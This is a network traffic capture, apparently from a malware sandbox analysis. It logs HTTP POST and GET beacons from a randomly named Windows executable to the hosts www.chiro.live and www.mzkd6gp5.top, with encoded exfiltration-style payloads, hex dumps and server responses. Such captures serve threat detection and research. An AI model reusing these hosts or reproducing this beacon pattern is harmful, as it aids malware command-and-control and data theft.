Jan 9, 2025 16:57:41.808381081 CET	813	OUT	POST /jwa9/ HTTP/1.1 Host: www.chiro.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 223 Content-Type: application/x-www-form-urlencoded Origin: http://www.chiro.live Referer: http://www.chiro.live/jwa9/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 71 5a 73 37 35 31 75 39 68 4a 6a 45 5a 58 50 57 4d 6c 6a 49 51 6a 66 33 6f 63 71 2f 44 36 46 63 5a 65 58 4a 55 41 4f 6d 73 66 6b 61 79 78 57 75 46 65 38 4c 35 76 66 52 6a 54 69 51 6e 4a 79 74 4b 70 4c 38 2f 34 30 43 4f 6e 32 69 45 4e 73 58 62 39 56 39 46 71 39 67 42 38 6d 30 46 62 54 50 4f 52 34 78 58 52 72 6f 66 30 6b 4e 38 75 62 65 47 6a 46 4b 2b 36 6f 54 48 33 78 52 77 78 31 38 35 49 4d 4b 6e 50 4a 4b 2b 67 74 54 79 6a 2b 61 43 4e 45 4a 36 59 36 79 75 4e 35 65 64 59 68 68 34 46 6d 77 4c 65 55 65 50 32 72 39 6b 2f 64 44 71 4a 2f 4d 41 62 45 47 37 79 65 4d 41 55 71 4b 66 72 59 30 44 71 6c 53 7a 71 2f 32 32 6c 6b 67 7a 42 7a 78 53 6b 49 3d Data Ascii: 6B-l7F=qZs751u9hJjEZXPWMljIQjf3ocq/D6FcZeXJUAOmsfkayxWuFe8L5vfRjTiQnJytKpL8/40COn2iENsXb9V9Fq9gB8m0FbTPOR4xXRrof0kN8ubeGjFK+6oTH3xRwx185IMKnPJK+gtTyj+aCNEJ6Y6yuN5edYhh4FmwLeUeP2r9k/dDqJ/MAbEG7yeMAUqKfrY0DqlSzq/22lkgzBzxSkI=
Jan 9, 2025 16:57:41.953916073 CET	805	IN	HTTP/1.1 200 OK server: openresty/1.13.6.1 date: Thu, 09 Jan 2025 15:57:41 GMT content-type: text/html transfer-encoding: chunked content-encoding: gzip connection: close Data Raw: 32 36 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 53 4d 73 9b 30 10 bd e7 57 50 0e 99 76 a6 36 36 c6 5f 0d a4 93 b8 f1 57 89 9d 38 4e 00 5f 32 42 52 2c 11 21 51 10 60 a7 d3 ff 5e 30 9d 98 8e 7b a8 0e 48 bb ec be dd f7 56 32 3f 7c 5b 8e d6 de dd 8d 42 64 c8 2e cf cc 72 53 18 e0 5b 4b c5 5c bd 3c 53 8a 65 12 0c 50 75 3c 98 21 96 40 81 04 c4 09 96 96 fa b8 1e 37 06 7f 22 8f bf 89 94 51 03 ff 48 69 66 a9 bb 46 0a 1a 50 84 11 90 d4 67 58 55 a0 e0 12 f3 22 77 76 63 61 b4 c5 27 d9 1c 84 d8 52 33 8a f3 48 c4 b2 96 90 53 24 89 85 70 46 21 6e 1c 8c cf 0a e5 54 52 c0 1a 09 04 0c 5b ed 66 ab 0e 27 a9 64 f8 d2 d4 aa fd 40 e7 d0 24 17 09 8c 69 24 8f b4 fe dd 7b 8c 5f 62 9c 90 5a 0b ad 8b 34 66 56 c9 ef 8b a6 e5 79 de 6f 35 21 a1 b1 68 32 9a 61 4d 55 b4 23 a4 a9 9d 96 31 0f ea d5 e5 39 2d d1 fd bf 12 a6 76 1c 8c e9 0b b4 57 04 67 02 20 4b 45 e2 b9 3a 7e fc 54 17 a3 a2 ac c8 7d 54 a8 2b f1 4e 6a 01 c8 40 e5 ad c5 95 4a bc a4 1c 4a 2a b8 52 83 52 7e be eb 57 86 94 2b a7 1c 89 bc 29 45 d4 64 02 16 f3 15 bc 49 0a 42 8a [TRUNCATED] Data Ascii: 265SMs0WPv66_W8N_2BR,!Q`^0{HV2?\|[Bd.rS[K\<SePu<!@7"QHifFPgXU"wvca'R3HS$pF!nTR[f'd@$i${_bZ4fVyo5!h2aMU#19-vWg KE:~T}T+Nj@JJ*RR~W+)EdIBG9~FV<HORdbx-^u.$36_^Q[:+sl4;0\|7AZMW2A;\3;E(\|Gd0pEq[@lg\|>G;pMXQ;y?a"_72<i'vdtuxFlOvaHrwJ5s/7.d8}[_nZZyS^ou??0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.11.30	49881	45.33.2.79	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:57:44.496201992 CET	2578	OUT	POST /jwa9/ HTTP/1.1 Host: www.chiro.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 3339 Content-Type: application/x-www-form-urlencoded Origin: http://www.chiro.live Referer: http://www.chiro.live/jwa9/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 71 5a 73 37 35 31 75 39 68 4a 6a 45 5a 58 50 57 4d 6c 6a 49 51 6a 66 33 6f 63 71 2f 44 36 46 63 5a 65 58 4a 55 41 4f 6d 73 66 73 61 79 44 4f 75 45 35 41 4c 34 76 66 52 70 7a 69 52 6e 4a 7a 6f 4b 70 44 77 2f 34 70 31 4f 6c 4f 69 46 76 6b 58 58 63 56 39 4f 71 39 67 4d 63 6d 78 42 62 54 67 4f 52 6f 4c 58 52 37 6f 66 30 6b 4e 38 74 54 65 42 79 46 4b 38 36 6f 4d 51 48 78 56 6d 42 30 6a 35 49 56 6f 6e 50 64 38 2b 6a 64 54 79 51 47 61 42 2f 73 4a 36 59 36 79 6a 74 35 62 64 59 64 6b 34 46 75 6b 4c 63 30 6f 50 6c 48 39 31 36 34 4d 75 59 7a 6e 66 64 45 6d 7a 54 75 30 49 32 75 75 58 4d 4d 58 4d 5a 70 51 36 4f 71 63 2b 53 41 4f 6b 67 2f 30 41 6a 63 46 49 69 44 6d 61 39 4f 4c 4e 65 76 6b 39 41 56 42 46 74 53 33 35 72 49 4d 4d 77 79 4d 53 31 52 58 77 48 79 46 5a 70 34 62 4b 49 4f 4e 4c 4b 6b 73 61 79 52 66 59 4b 6d 56 35 36 77 58 55 6e 62 51 4a 46 62 5a 68 71 44 34 78 44 4b 61 6b 56 73 52 67 2b 73 78 56 6b 52 47 5a 65 35 73 4e 4b 50 78 65 53 64 7a 4a 61 5a 70 7a 74 4a 6d 54 56 62 54 63 6b 4f [TRUNCATED] Data Ascii: 6B-l7F=qZs751u9hJjEZXPWMljIQjf3ocq/D6FcZeXJUAOmsfsayDOuE5AL4vfRpziRnJzoKpDw/4p1OlOiFvkXXcV9Oq9gMcmxBbTgORoLXR7of0kN8tTeByFK86oMQHxVmB0j5IVonPd8+jdTyQGaB/sJ6Y6yjt5bdYdk4FukLc0oPlH9164MuYznfdEmzTu0I2uuXMMXMZpQ6Oqc+SAOkg/0AjcFIiDma9OLNevk9AVBFtS35rIMMwyMS1RXwHyFZp4bKIONLKksayRfYKmV56wXUnbQJFbZhqD4xDKakVsRg+sxVkRGZe5sNKPxeSdzJaZpztJmTVbTckO0FE+UhQWRCgU4xmxNCIKP2/vxE1WbYGBNZBD/ouBV0i+cfQDJxmq9GxCECvz/DPgpNMSVYSvE31ySSUkqutg4+DJVymMKKNg2iOpDG7U3yfP/G5mlnlsEMdOjCH49CfvfjHHPSAfQKA0AhKS4Fu6YJ24hX81o3lpL+8s5rV6bQ+dRR9N1BUWtNgsuyrdaHlh9bKXHX24C/ON82Hi2T2Ky1EBj2ONO7C30UVj/LFTCfStRZGw5Q1mSLZKKysaED43cgHPrRfN98sPVjF2dAv9Jotem52C6056pBNtUW6TFgjnm+5QmxtVOcR7OSRe2mjM1wW971Im5vG3OL//pl0Jxjuos3Mkg7qznrb9zF8JAL7BcR7mFXBYOI1SYWsKeIu5szpPxIhZ/sHdw+DmSa/ZTJ9sFqXPIELxqI2nUfad8Mt2swuBxm8N12R77hvXRdgN78AVrqqFN08gzz6YM3Qg63TdurPPd3+O4NKtYphxRDSaBcvefuzZsOijEz1Qsd//JqsTFj98fVa53rRUPHL1EEg7q7DTL31UZENO30mKP0gqq26jGHCTdNJqu8KKKsuA9Xmi717ceTxVCJcD0VVzaATABz+yLbrVy4XNJmjw/d5DhmEnvIEzVx9tYSe0PtFtj+hnAGpjf2KkdUBHC1LjXIWk5fTT9bOtxv [TRUNCATED]
Jan 9, 2025 16:57:44.496234894 CET	1352	OUT	Data Raw: 41 35 47 30 66 67 50 53 73 70 63 31 44 36 64 52 6f 72 76 48 32 53 4d 78 6c 69 35 6a 6f 6c 79 65 74 66 5a 72 52 56 56 2f 6d 2f 64 6c 63 4a 33 54 61 6b 4b 4c 48 73 44 34 68 2f 75 4a 66 43 74 4d 4e 4c 4c 77 63 38 38 49 4b 5a 4d 6d 67 66 73 76 30 4c Data Ascii: A5G0fgPSspc1D6dRorvH2SMxli5jolyetfZrRVV/m/dlcJ3TakKLHsD4h/uJfCtMNLLwc88IKZMmgfsv0L8dD2Emfr+ERRNBTCf2YxjcCc89VTHbTWL7aJB7YUROfOM3WZYpbT/1vA+Yzwwk+zNW2qGMVeg/yoVhvR1ZG5fjAglKX9ZfJ7La9HAARWKC1GkF2RQrBj6ekVea2PZQOtGp4VJhNItnXr05hPgNw99ho9fs9llBTvP
Jan 9, 2025 16:57:44.641789913 CET	806	IN	HTTP/1.1 200 OK server: openresty/1.13.6.1 date: Thu, 09 Jan 2025 15:57:44 GMT content-type: text/html transfer-encoding: chunked content-encoding: gzip connection: close Data Raw: 32 36 36 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 53 4d 73 9b 30 10 bd e7 57 50 0e 99 76 a6 06 1b 9c d8 6e 20 9d c4 8d bf 4a ec c4 71 02 f8 92 11 92 62 89 08 89 82 00 3b 9d fe f7 82 e9 c4 74 dc 43 75 40 da 65 f7 ed be b7 92 f5 e1 db 62 b8 f2 ef 6e 14 22 23 76 79 62 55 9b c2 00 df d8 2a e6 ea e5 89 52 2e 8b 60 80 ea e3 de 8c b0 04 0a 24 20 49 b1 b4 d5 c7 d5 a8 d5 ff 13 79 f8 4d a4 8c 5b f8 47 46 73 5b dd b6 32 d0 82 22 8a 81 a4 01 c3 aa 02 05 97 98 97 b9 d3 1b 1b a3 0d 3e ca e6 20 c2 b6 9a 53 5c c4 22 91 8d 84 82 22 49 6c 84 73 0a 71 6b 6f 7c 56 28 a7 92 02 d6 4a 21 60 d8 ee 68 ed 26 9c a4 92 e1 4b 4b af f7 3d 9d 7d 93 5c a4 30 a1 b1 3c d0 fa 77 ef 09 7e 49 70 4a 1a 2d b4 2f b2 84 d9 15 bf 2f ba 5e 14 45 af ad 41 42 13 a1 31 9a 63 5d 55 f4 03 a4 a5 1f 97 b1 f6 ea 35 e5 39 2e 71 f6 7f 25 2c fd 30 18 2b 10 68 a7 08 ce 04 40 b6 8a c4 73 7d fc f8 a9 29 46 4d 59 91 bb b8 54 57 e2 ad d4 43 90 83 da db 88 ab 94 78 c9 38 94 54 70 a5 01 a5 fc 7c d7 af 0a a9 56 41 39 12 85 26 45 ac 31 01 cb f9 0a ae 91 92 90 62 [TRUNCATED] Data Ascii: 266SMs0WPvn Jqb;tCu@ebn"#vybU*R.`$ IyM[GFs[2"> S\""Ilsqko\|V(J!`h&KK=}\0<w~IpJ-//^EAB1c]U59.q%,0+h@s})FMYTWCx8Tp\|VA9&E1b+A@a_79ey5yWk~4{FTHglRf:+{3wpa,Dfmc=#x8<\{i(6SdxrR-s,[e7p`B[.{]cd/1:dm<xpwg{(wlq\([rGYCa9l^5_7W7\|J%0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.11.30	49882	45.33.2.79	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:57:47.176954031 CET	533	OUT	GET /jwa9/?6B-l7F=nbEb6BapjrCYd3vuEk68dRLY4ua2Mo84Z9DLelTcrJ4p8hOiBplI39ztzhaal76qFYKe8ooJF22mI/JvRPR9KZtEPsGPSZvpHz4gKTT9RHcltuCAAAk51J4=&80k=lRapCPMXgDk HTTP/1.1 Host: www.chiro.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:57:47.321386099 CET	1289	IN	HTTP/1.1 200 OK server: openresty/1.13.6.1 date: Thu, 09 Jan 2025 15:57:47 GMT content-type: text/html transfer-encoding: chunked connection: close Data Raw: 34 39 44 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6e 6f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 3a 2f 2f 77 77 77 37 30 2e 63 68 69 72 6f 2e 6c [TRUNCATED] Data Ascii: 49D<!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="x-ua-compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title></title> <noscript> <meta http-equiv="refresh" content="0;url=http://www70.chiro.live/" /> </noscript> <meta http-equiv="refresh" content="5;url=http://www70.chiro.live/" /> </head> <body onload="do_onload()"> <script type="text/javascript"> function do_onload() { window.top.location.href = "http://www.chiro.live/jwa9?gp=1&js=1&uuid=1736438267.0098365932&other_args=eyJ1cmkiOiAiL2p3YTkiLCAiYXJncyI6ICI2Qi1sN0Y9bmJFYjZCYXBqckNZZDN2dUVrNjhkUkxZNHVhMk1vODRaOURMZWxUY3JKNHA4aE9pQnBsSTM5enR6aGFhbDc2cUZZS2U4b29KRjIybUkvSnZSUFI5S1p0RVBzR1BTWnZwSHo0Z0tUVDlSSGNsdHVDQUFBazUxSjQ9Jjgwaz1sUmFwQ1BNWGdEayIsICJyZWZlcmVyIjogIiIsICJhY2NlcHQiOiAidGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7 [TRUNCATED]
Jan 9, 2025 16:57:47.321394920 CET	60	IN	Data Raw: 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: ; } </script> </body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.11.30	49883	104.21.32.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:57:52.471359015 CET	799	OUT	POST /3u0p/ HTTP/1.1 Host: www.mzkd6gp5.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 203 Content-Type: application/x-www-form-urlencoded Origin: http://www.mzkd6gp5.top Referer: http://www.mzkd6gp5.top/3u0p/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 68 30 77 54 7a 30 51 4d 2b 73 7a 64 34 58 4a 33 6e 47 45 56 43 58 2f 32 6c 38 56 62 72 69 46 4a 36 52 38 58 54 6f 57 30 43 6f 45 57 75 58 67 37 37 4f 6b 70 7a 57 6e 7a 63 50 37 48 4c 35 47 50 76 48 6c 71 6d 66 6b 6e 67 67 32 6f 42 6a 73 30 65 31 4d 59 75 53 6e 67 70 6a 36 61 67 48 64 4e 56 35 65 76 37 62 7a 70 45 76 50 53 62 38 44 31 73 7a 6c 45 4c 68 72 2f 2b 66 2b 58 55 77 6a 4c 38 71 79 50 6a 30 45 34 2b 65 38 6b 39 46 69 31 48 4c 45 6f 47 78 36 35 7a 57 77 6d 61 33 6f 4f 46 37 73 77 76 31 51 31 34 52 75 66 6f 59 2b 49 76 6a 57 45 41 63 36 54 75 4a 64 4d 34 50 46 54 48 77 3d 3d Data Ascii: 6B-l7F=h0wTz0QM+szd4XJ3nGEVCX/2l8VbriFJ6R8XToW0CoEWuXg77OkpzWnzcP7HL5GPvHlqmfkngg2oBjs0e1MYuSngpj6agHdNV5ev7bzpEvPSb8D1szlELhr/+f+XUwjL8qyPj0E4+e8k9Fi1HLEoGx65zWwma3oOF7swv1Q14RufoY+IvjWEAc6TuJdM4PFTHw==
Jan 9, 2025 16:57:53.012433052 CET	820	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:57:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tQAztm%2Busp1qpHvsfHfUeQwzc%2BafZQwG06p1eq8mBC4xyYIQJfAJ4ThgRrm%2FdwRG%2FMn5NfemRFQF3LcW7naKbWG1FdOVeJREGAgxB9ofgZmxJabJc1qIVnc%2BHP0JK7I5U2Y8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff5a023581ee269-ORD Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=119349&min_rtt=119349&rtt_var=59674&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=799&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 00 00 00 ff ff 0d 0a Data Ascii: f
Jan 9, 2025 16:57:53.012442112 CET	105	IN	Data Raw: 36 33 0d 0a b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 Data Ascii: 63(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a3
Jan 9, 2025 16:57:53.012449026 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.11.30	49884	104.21.32.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:57:55.125240088 CET	819	OUT	POST /3u0p/ HTTP/1.1 Host: www.mzkd6gp5.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 223 Content-Type: application/x-www-form-urlencoded Origin: http://www.mzkd6gp5.top Referer: http://www.mzkd6gp5.top/3u0p/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 68 30 77 54 7a 30 51 4d 2b 73 7a 64 35 33 35 33 6d 68 6f 56 48 33 2f 33 35 73 56 62 68 43 46 4e 36 52 41 58 54 70 6a 7a 44 65 63 57 74 79 63 37 70 2f 6b 70 79 57 6e 7a 46 2f 37 4f 57 4a 47 45 76 48 5a 49 6d 62 6b 6e 67 67 79 6f 42 68 30 30 66 45 4d 62 76 43 6e 69 6d 44 36 59 76 6e 64 4e 56 35 65 76 37 62 6d 4d 45 72 6a 53 59 4e 7a 31 74 53 6c 48 43 42 72 38 75 76 2b 58 44 67 6a 50 38 71 7a 63 6a 32 77 65 2b 59 67 6b 39 45 79 31 48 65 6f 72 52 42 36 2f 33 57 78 70 4c 31 5a 47 4a 34 49 59 6a 6d 49 75 79 55 32 4c 70 50 54 53 79 67 69 47 54 38 47 2b 79 49 77 6b 36 4e 45 49 61 35 51 2f 2f 42 54 78 4b 4f 37 43 76 49 33 6c 75 69 4f 64 30 6a 6f 3d Data Ascii: 6B-l7F=h0wTz0QM+szd5353mhoVH3/35sVbhCFN6RAXTpjzDecWtyc7p/kpyWnzF/7OWJGEvHZImbknggyoBh00fEMbvCnimD6YvndNV5ev7bmMErjSYNz1tSlHCBr8uv+XDgjP8qzcj2we+Ygk9Ey1HeorRB6/3WxpL1ZGJ4IYjmIuyU2LpPTSygiGT8G+yIwk6NEIa5Q//BTxKO7CvI3luiOd0jo=
Jan 9, 2025 16:57:55.676002979 CET	919	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:57:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8%2BVEtQ15KiJojdThOkBwjCnxmg%2FDDUgvIUVzUVGpFxZIW18r61XTVZF0rX%2BoGg3Bh%2F5JM8mfIcn%2FUEGHb6xalBxmM9i8QzT1rOIybO%2F77fIRQjTusn3HMcmFOhRmnA%2FogHEz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff5a033eda6233a-ORD Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=119336&min_rtt=119336&rtt_var=59668&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=819&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a3
Jan 9, 2025 16:57:55.676012039 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.11.30	49885	104.21.32.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:57:57.782006979 CET	1289	OUT	POST /3u0p/ HTTP/1.1 Host: www.mzkd6gp5.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 3339 Content-Type: application/x-www-form-urlencoded Origin: http://www.mzkd6gp5.top Referer: http://www.mzkd6gp5.top/3u0p/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 68 30 77 54 7a 30 51 4d 2b 73 7a 64 35 33 35 33 6d 68 6f 56 48 33 2f 33 35 73 56 62 68 43 46 4e 36 52 41 58 54 70 6a 7a 44 65 55 57 75 48 51 37 37 6f 77 70 31 57 6e 7a 4e 66 37 4c 57 4a 47 5a 76 48 78 4d 6d 62 68 63 67 69 36 6f 42 41 55 30 59 32 30 62 6d 43 6e 69 74 6a 36 62 67 48 64 59 56 35 4f 56 37 62 32 4d 45 72 6a 53 59 4f 72 31 71 44 6c 48 45 42 72 2f 2b 66 2b 4c 55 77 6a 33 38 71 72 4d 6a 32 30 52 2b 65 30 6b 38 33 36 31 47 6f 63 72 52 42 36 2f 36 32 78 6f 4c 31 56 48 4a 34 51 4d 6a 6e 41 2b 79 69 4b 4c 70 36 4f 37 33 68 69 33 52 4f 32 48 75 4c 51 4e 74 66 63 47 55 4b 6b 4d 2f 69 66 64 63 65 2f 53 68 6f 76 77 38 42 4c 58 32 6b 76 55 6c 56 33 72 55 53 34 31 53 6b 2b 39 72 50 63 71 62 43 37 62 6c 59 39 2f 32 56 32 6a 4b 71 43 64 2b 6e 71 69 61 69 79 78 58 69 36 35 71 72 38 4f 4a 71 45 4e 6d 55 35 53 63 45 51 69 75 4b 75 45 41 66 79 30 56 52 4c 4e 59 4e 49 4f 44 38 4f 63 6e 78 66 6d 7a 67 4c 65 6b 5a 2f 62 4e 61 33 57 33 68 6a 72 64 32 6a 76 49 38 32 4f 35 6c 77 2f 32 78 67 [TRUNCATED] Data Ascii: 6B-l7F=h0wTz0QM+szd5353mhoVH3/35sVbhCFN6RAXTpjzDeUWuHQ77owp1WnzNf7LWJGZvHxMmbhcgi6oBAU0Y20bmCnitj6bgHdYV5OV7b2MErjSYOr1qDlHEBr/+f+LUwj38qrMj20R+e0k8361GocrRB6/62xoL1VHJ4QMjnA+yiKLp6O73hi3RO2HuLQNtfcGUKkM/ifdce/Shovw8BLX2kvUlV3rUS41Sk+9rPcqbC7blY9/2V2jKqCd+nqiaiyxXi65qr8OJqENmU5ScEQiuKuEAfy0VRLNYNIOD8OcnxfmzgLekZ/bNa3W3hjrd2jvI82O5lw/2xg3AihK+ACLA/mCdJjxtFSBkFmooipa002KHAx1R7WYE8UR7WhOZigYgq5OajRn7NdUGHmYC1NCStHf8x6sLLa0/i7PWvB0WeWx52tSAiBdhmvYJgBROa+BTkQ1BzYPQYPYxe3JDbnYPZAoChVGQjvOy/KcgaJPnU+/nUYJhkQmvDzsiy4fPFCH321gcvIasdu5eZYz8kVY2oA6F90fEJAlCSY3yS0UnoZvbUXmEHhQK4kH0Flzpr9OAQpefvCphmwUEO36bT+RBaLiLl3vGlLABU7gcP4y16lsgX9jGhCwqem3mM/oJ7OMwV3zyQaATjKmZ6TcG54pJQZGK5Zu1XRsH++9pnWQOGgZ7
Jan 9, 2025 16:57:57.782058954 CET	2647	OUT	Data Raw: 7a 62 79 43 76 53 74 73 39 4e 6c 31 55 43 76 32 50 4b 6c 44 34 52 44 2b 62 48 52 4b 6f 46 4a 79 64 4a 30 57 77 62 31 57 74 30 35 68 50 30 76 34 4d 63 39 79 33 6a 72 6a 67 48 58 43 53 33 2b 36 6b 47 45 6d 49 6a 4d 61 47 70 79 36 6c 54 6c 38 68 64 Data Ascii: zbyCvSts9Nl1UCv2PKlD4RD+bHRKoFJydJ0Wwb1Wt05hP0v4Mc9y3jrjgHXCS3+6kGEmIjMaGpy6lTl8hd98byvOiynP85ke6zWthD+c869bmHCp/ScJ3oNuRt8mY9HGvfIlWxURU6LhKkY9QO3FPlUEBnsvEVihs4igtfasTmsHs1Y7/UPklpDCH3A3V3z1+GL20+i8QwMPXZPbj3TX3Xxo6reJ0VnPYOzln0j8kVDRtBXX+7w
